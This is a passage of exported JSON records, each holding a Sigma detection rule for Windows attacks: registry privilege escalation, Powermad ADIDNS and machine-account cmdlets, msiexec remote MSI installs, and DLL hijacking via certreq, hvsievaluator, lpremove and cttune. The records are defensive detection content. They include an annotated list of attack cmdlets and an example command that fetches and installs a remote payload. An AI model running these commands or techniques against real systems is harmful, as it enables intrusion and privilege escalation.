+  "rule_id": "6c11d396-ac4b-440d-ba67-ffb304d6e65d",
+  "rule_name": "Unprivileged User Modified Service Registry Configuration in Command-line",
+  "rule_description": "Detects registry configuration modifications via command-line that could allow unprivileged users to escalate privileges by modifying service configurations in the registry.\nSuch modifications can be indicative of malicious activity, as attackers often exploit registry vulnerabilities to gain elevated privileges.\nRegistry keys controlling service configurations are particularly sensitive, as unauthorized changes can lead to service misbehavior or unauthorized access.\nIt is recommended to investigate the modified registry key to identify any unauthorized changes and check if the modification leads to a privilege escalation.\n",
+  "rule_creation_date": "2022-09-07",
+  "rule_modified_date": "2025-02-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1068",
+    "attack.t1574.011"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "6c31932d-344c-4c67-80a3-09ee90425956",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.606625Z",
+  "creation_date": "2026-03-23T11:45:34.606628Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.606636Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/Kevin-Robertson/Powermad",
+    "https://www.netspi.com/blog/technical/network-penetration-testing/exploiting-adidns/",
+    "https://www.netspi.com/blog/technical/network-penetration-testing/machineaccountquota-transitive-quota/",
+    "https://attack.mitre.org/techniques/T1059/001/",
+    "https://attack.mitre.org/techniques/T1557/001/"
+  ],
+  "name": "t1059_001_powershell_malicious_cmdlet_powermad_script.yml",
+  "content": "title: Malicious PowerShell Powermad Commandlets\nid: 6c31932d-344c-4c67-80a3-09ee90425956\ndescription: |\n    Detects various malicious commandlets in PowerShell scripts, generally associated with the Powermad framework.\n    The Powermad framework is generally associated with Active Directory Internal DNS (ADIDNS) exploitation for privilege escalation and credential collection through LLMNR poisoning (along with tools such as Inveigh) and SMB Relaying.\n    It is recommended to investigate the process tree for suspicious activities, to analyze the process responsible for the execution of PowerMad and to look for other malicious activities on the host.\nreferences:\n    - https://github.com/Kevin-Robertson/Powermad\n    - https://www.netspi.com/blog/technical/network-penetration-testing/exploiting-adidns/\n    - https://www.netspi.com/blog/technical/network-penetration-testing/machineaccountquota-transitive-quota/\n    - https://attack.mitre.org/techniques/T1059/001/\n    - https://attack.mitre.org/techniques/T1557/001/\ndate: 2022/10/12\nmodified: 2025/03/31\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1059.001\n    - attack.credential_access\n    - attack.collection\n    - attack.t1557.001\n    - attack.defense_evasion\n    - attack.t1550.002\n    - attack.persistence\n    - attack.privilege_escalation\n    - classification.Windows.Source.PowerShellEvent\n    - classification.Windows.Script.PowerShell\n    - classification.Windows.Framework.Powermad\nlogsource:\n    category: powershell_event\n    product: windows\ndetection:\n    selection:\n        PowershellCommand|contains:\n            # =============================== Machine Account Quota functions =====================================\n            # Return machine account attributes.\n            - 'Get-MachineAccountAttribute'\n            # Returns Machine Account Creator. Usually only set when the node was created by an unprivileged user.\n            - 'Get-MachineAccountCreator'\n            # Disables a machine account.\n            - 'Disable-MachineAccount'\n            # Enables a machine account.\n            - 'Enable-MachineAccount'\n            # Creates a new machine account through an encrypted LDAP request. Can then be used with the `runas` command.\n            - 'New-MachineAccount'\n            # Removes a machine account with a privileged account.\n            - 'Remove-MachineAccount'\n            # Set attributes for an account that was created with Powermad.\n            - 'Set-MachineAccountAttribute'\n            # Recursively creates Machine Accounts, allowed due to the Transitive Machine Account Quota and updates of the ms-DS-CreatorSID attribute.\n            - 'Invoke-AgentSmith'\n            # ========================================= ADIDNS Functions ==========================================\n            # Used to add or delete ADIDNS dynamic DNS records if secure dynamic updates are configured on a DC.\n            - 'Invoke-DNSUpdate'\n            # Tombstone an ADIDNS node.\n            - 'Disable-ADIDNSNode'\n            # Revive tombstoned node.\n            - 'Enable-ADIDNSNode'\n            # Return values that populate a node attribute.\n            - 'Get-ADIDNSNodeAttribute'\n            # Returns the owner of a node.\n            - 'Get-ADIDNSNodeOwner'\n            # Gets a DACL (Discretionary Access Control List, which users/groups can access an object) of an ADIDNS node or zone.\n            - 'Get-ADIDNSPermission'\n            # Returns ADIDNS zones.\n            - 'Get-ADIDNSZone'\n            # Adds access (ACE) to a node or zone DACL.\n            - 'Grant-ADIDNSPermission'\n            # Creates a new node thorugh an encrypted LDAP request.\n            - 'New-ADIDNSNode'\n            # Creates a valid byte array for the dnsRecord attribute.\n            - 'New-DNSRecordArray'\n            # Gets an SOA (Start of authority) serial number for a DNS zone and increments it.\n            - 'New-SOASerialNumberArray'\n            # Renames a node.\n            - 'Rename-ADIDNSNode'\n            # Removes a node.\n            - 'Remove-ADIDNSNode'\n            # Removes an ACE from a DACL.\n            - 'Revoke-ADIDNSPermission'\n            # Appends or overwrites node attributes.\n            - 'Set-ADIDNSNodeAttribute'\n            # Sets the owner of a Node, SeRestorePrivilege token required.\n            - 'Set-ADIDNSNodeOwner'\n            # Generating Kerberos AES-256 and 128 Keys for know username and password, this can be used as a PtH attack in InvokeDNSUPdate\n            - 'Get-KerberosAESKey'\n    condition: selection\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "6c31932d-344c-4c67-80a3-09ee90425956",
+  "rule_name": "Malicious PowerShell Powermad Commandlets",
+  "rule_description": "Detects various malicious commandlets in PowerShell scripts, generally associated with the Powermad framework.\nThe Powermad framework is generally associated with Active Directory Internal DNS (ADIDNS) exploitation for privilege escalation and credential collection through LLMNR poisoning (along with tools such as Inveigh) and SMB Relaying.\nIt is recommended to investigate the process tree for suspicious activities, to analyze the process responsible for the execution of PowerMad and to look for other malicious activities on the host.\n",
+  "rule_creation_date": "2022-10-12",
+  "rule_modified_date": "2025-03-31",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.collection",
+    "attack.credential_access",
+    "attack.defense_evasion",
+    "attack.execution",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059.001",
+    "attack.t1550.002",
+    "attack.t1557.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "6cedca3d-1b27-4809-9533-e910d016c287",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.076670Z",
+  "creation_date": "2026-03-23T11:45:34.076672Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.076677Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://lolbas-project.github.io/lolbas/Binaries/Msiexec/",
+    "https://redcanary.com/blog/raspberry-robin/",
+    "https://attack.mitre.org/techniques/T1218/007/"
+  ],
+  "name": "t1218_007_msiexec_remote_msi.yml",
+  "content": "title: MSI Installed from Remote URL\nid: 6cedca3d-1b27-4809-9533-e910d016c287\ndescription: |\n    Detects the execution of the legitimate windows binary msiexec.exe to download and install a remote MSI file.\n    Adversaries may abuse msiexec.exe to proxy execution of malicious payloads.\n    It is recommended to verify the legitimity of the URL and the MSI file.\nreferences:\n    - https://lolbas-project.github.io/lolbas/Binaries/Msiexec/\n    - https://redcanary.com/blog/raspberry-robin/\n    - https://attack.mitre.org/techniques/T1218/007/\ndate: 2023/04/06\nmodified: 2025/09/09\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1218.007\n    - attack.privilege_escalation\n    - attack.persistence\n    - attack.t1546.016\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.LOLBin.Msiexec\n    - classification.Windows.Behavior.FileDownload\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_msiexec:\n        - Image|endswith: 'msiexec.exe'\n        - OriginalFileName: 'msiexec.exe'\n\n    # Installs the target remote .MSI file\n    # msiexec /q /i http://192.168.100.3/tmp/cmd.png\n    selection_remote:\n        CommandLine|contains:\n            - ' http://'\n            - ' https://'\n\n    exclusion_harfanglab:\n        CommandLine|contains|all:\n            - 'PORT='\n            - 'PROTO='\n            - 'HOST='\n            - 'SRV_SIG_PUB='\n            - '.hurukai.io'\n\n    exclusion_legitimate_remote:\n        CommandLine|contains:\n            - '/i https://aka.ms/installazurecliwindows'\n            - '/i https://awscli.amazonaws.com/'\n            - '/i https://eu.ninjarmm.com/agent/installer/'\n            - '/i https://repository.eset.com/'\n            - '/i https://github.com/glpi-project/glpi-agent/releases/download/*/glpi-agent-*.msi'\n            - '/i https://download.specopssoft.com/release/client/specops.client.msi'\n            - '/i https://cdn.zabbix.com/'\n\n    condition: all of selection_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "6cedca3d-1b27-4809-9533-e910d016c287",
+  "rule_name": "MSI Installed from Remote URL",
+  "rule_description": "Detects the execution of the legitimate windows binary msiexec.exe to download and install a remote MSI file.\nAdversaries may abuse msiexec.exe to proxy execution of malicious payloads.\nIt is recommended to verify the legitimity of the URL and the MSI file.\n",
+  "rule_creation_date": "2023-04-06",
+  "rule_modified_date": "2025-09-09",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1218.007",
+    "attack.t1546.016"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "6cfdcc4f-bbca-4275-b4f1-b08224e74407",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.091010Z",
+  "creation_date": "2026-03-23T11:45:34.091012Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.091016Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_certreq.yml",
+  "content": "title: DLL Hijacking via certreq.exe\nid: 6cfdcc4f-bbca-4275-b4f1-b08224e74407\ndescription: |\n    Detects potential Windows DLL Hijacking via certreq.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'certreq.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\cscapi.dll'\n            - '\\comdlg32.dll'\n            - '\\cscobj.dll'\n            - '\\cscui.dll'\n            - '\\dataexchange.dll'\n            - '\\davclnt.dll'\n            - '\\drprov.dll'\n            - '\\DUI70.dll'\n            - '\\dwmapi.dll'\n            - '\\explorerframe.dll'\n            - '\\LINKINFO.dll'\n            - '\\mmdevapi.dll'\n            - '\\ncrypt.dll'\n            - '\\networkexplorer.dll'\n            - '\\ntlanman.dll'\n            - '\\p9np.dll'\n            - '\\profapi.dll'\n            - '\\propsys.dll'\n            - '\\secur32.dll'\n            - '\\shell32.dll'\n            - '\\SSPICLI.DLL'\n            - '\\structuredquery.dll'\n            - '\\windows.storage.dll'\n            - '\\windows.storage.search.dll'\n            - '\\WindowsCodecs.dll'\n            - '\\WININET.dll'\n            - '\\wpdshext.dll'\n            - '\\XmlLite.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Program Files (x86)\\Google\\Chrome\\Application\\'\n            - '?:\\Program Files (x86)\\Microsoft Office\\root\\Office*\\'\n            - '?:\\Program Files (x86)\\Microsoft\\Edge\\Application\\'\n            - '?:\\Program Files (x86)\\Mozilla Firefox\\'\n            - '?:\\Program Files\\Google\\Chrome\\Application\\'\n            - '?:\\Program Files\\Microsoft Office\\root\\Office*\\'\n            - '?:\\Program Files\\Microsoft\\Edge\\Application\\'\n            - '?:\\Program Files\\Mozilla Firefox\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "6cfdcc4f-bbca-4275-b4f1-b08224e74407",
+  "rule_name": "DLL Hijacking via certreq.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via certreq.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "6d175d58-b1b2-4cc1-bd38-b7693781a88a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.600384Z",
+  "creation_date": "2026-03-23T11:45:34.600388Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.600396Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_hvsievaluator.yml",
+  "content": "title: DLL Hijacking via hvsievaluator.exe\nid: 6d175d58-b1b2-4cc1-bd38-b7693781a88a\ndescription: |\n    Detects potential Windows DLL Hijacking via hvsievaluator.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'hvsievaluator.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\configmanager2.dll'\n            - '\\DismApi.DLL'\n            - '\\DMCmnUtils.dll'\n            - '\\iri.dll'\n            - '\\omadmapi.dll'\n            - '\\policymanager.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "6d175d58-b1b2-4cc1-bd38-b7693781a88a",
+  "rule_name": "DLL Hijacking via hvsievaluator.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via hvsievaluator.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "6d3107af-5eaf-451f-ae32-aa021b68dc59",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.097524Z",
+  "creation_date": "2026-03-23T11:45:34.097527Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.097531Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_lpremove.yml",
+  "content": "title: DLL Hijacking via lpremove.exe\nid: 6d3107af-5eaf-451f-ae32-aa021b68dc59\ndescription: |\n    Detects potential Windows DLL Hijacking via lpremove.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'lpremove.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\AppXAllUserStore.dll'\n            - '\\AppXDeploymentClient.dll'\n            - '\\Bcp47Langs.dll'\n            - '\\DNSAPI.dll'\n            - '\\FirewallAPI.dll'\n            - '\\fwbase.dll'\n            - '\\StateRepository.Core.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "6d3107af-5eaf-451f-ae32-aa021b68dc59",
+  "rule_name": "DLL Hijacking via lpremove.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via lpremove.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "6ddeb55d-9931-48b9-94c9-05459a05f932",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.601046Z",
+  "creation_date": "2026-03-23T11:45:34.601050Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.601057Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_cttune.yml",
+  "content": "title: DLL Hijacking via cttune.exe\nid: 6ddeb55d-9931-48b9-94c9-05459a05f932\ndescription: |\n    Detects potential Windows DLL Hijacking via cttune.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'cttune.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\DWrite.dll'\n            - '\\fastprox.dll'\n            - '\\OLEACC.dll'\n            - '\\UxTheme.dll'\n            - '\\wbemprox.dll'\n            - '\\wbemsvc.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "6ddeb55d-9931-48b9-94c9-05459a05f932",
